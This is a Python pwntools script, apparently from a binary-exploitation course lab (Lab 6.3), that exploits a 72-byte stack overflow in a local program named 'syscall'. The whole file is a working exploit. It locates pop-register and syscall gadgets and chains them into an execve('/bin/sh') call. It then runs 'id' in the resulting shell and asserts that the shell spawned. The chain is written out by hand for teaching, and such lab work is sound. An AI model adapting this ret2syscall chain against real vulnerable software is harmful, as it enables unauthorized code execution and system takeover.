#!/usr/bin/env python3
# Lab 6.3: ban lam tay, xep tung thanh ghi de thay ro co che.
from pwn import *
import time

context.binary = elf = ELF('./syscall')
context.log_level = 'info'
io = process('./syscall')
offset = 72

r = ROP(elf)
pop_rax = r.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = r.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0]
syscall = r.find_gadget(['syscall'])[0]
binsh   = next(elf.search(b'/bin/sh\x00'))
for n, v in [('pop rax', pop_rax), ('pop rdi', pop_rdi), ('pop rsi', pop_rsi),
             ('pop rdx', pop_rdx), ('syscall', syscall), ('/bin/sh', binsh)]:
    log.info('%-8s = %#x', n, v)

payload = flat(
    b'A' * offset,
    pop_rax, 59,          # execve
    pop_rdi, binsh,       # "/bin/sh"
    pop_rsi, 0,           # argv = NULL
    pop_rdx, 0,           # envp = NULL
    syscall,
)
io.send(payload)
time.sleep(0.5)
io.sendline(b'echo ===PWNED_6_3M===; id; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_6_3M===' in out, 'FAIL'
log.success('ret2syscall (tay) OK')